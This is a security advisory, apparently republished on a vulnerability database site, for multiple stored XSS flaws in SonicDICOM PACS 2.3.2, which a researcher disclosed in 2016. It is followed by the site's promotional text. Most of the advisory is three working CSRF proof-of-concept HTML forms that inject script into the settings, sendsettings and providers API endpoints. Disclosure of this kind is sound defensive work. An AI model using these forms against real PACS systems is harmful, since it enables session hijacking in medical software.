<html><body><p>SonicDICOM PACS 2.3.2 Multiple Stored Cross-Site Scripting Vulnerabilities
Vendor: JIUN Corporation
Product web page: https://www.sonicdicom.com
Affected version: 2.3.2 and 2.3.1
Summary: SonicDICOM is PACS software that combines the capabilities of
DICOM Server with web browser based DICOM Viewer.
Desc: The application suffers from multiple stored XSS vulnerabilities.
Input passed to several API POST parameters is not properly sanitised
before being returned to the user. This can be exploited to execute
arbitrary HTML and script code in a user's browser session in context
of an affected site.
Tested on: Microsoft-HTTPAPI/2.0
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2017-5394
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5394.php
22.11.2016
--
CSRF Stored XSS via value parameter in settings API:
----------------------------------------------------
</p>
<form action="http://172.19.0.214/viewer/api/settings/add" method="POST">
<input name="id" type="hidden" value="testingus"/>
<input name="key" type="hidden" value="viewer.display.overlay.tl"/>
<input name="value" type="hidden" value='{"angle":{"item_name":"Angle","display_name":"\"><script>alert(1)</script>"}}'/>
<input type="submit" value="Request #1"/>
</form>
CSRF Stored XSS via Name parameter in sendsettings API:
-------------------------------------------------------
<form action="http://172.19.0.214/viewer/api/sendsettings/create" method="POST">
<input name="Name" type="hidden" value='"><script>prompt(2)</script>'/>
<input name="IPAddress" type="hidden" value="1.1.1.1"/>
<input name="Port" type="hidden" value="123"/>
<input name="CalledAETitle" type="hidden" value="asd"/>
<input name="CallingAETitle" type="hidden" value="dsa"/>
<input type="submit" value="Request #2"/>
</form>
CSRF Stored XSS via Name parameter in providers API:
----------------------------------------------------
<form action="http://172.19.0.214/viewer/api/providers/create" method="POST">
<input name="Name" type="hidden" value='"><script>confirm(2)</script>'/>
<input name="Port" type="hidden" value="123"/>
<input name="AETitle" type="hidden" value="ZSL"/>
<input name="AllowAnonymousUsers" type="hidden" value="true"/>
<input name="IsAnonymous" type="hidden" value="true"/>
<input type="submit" value="Request #3"/>
</form>
</body></html>Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation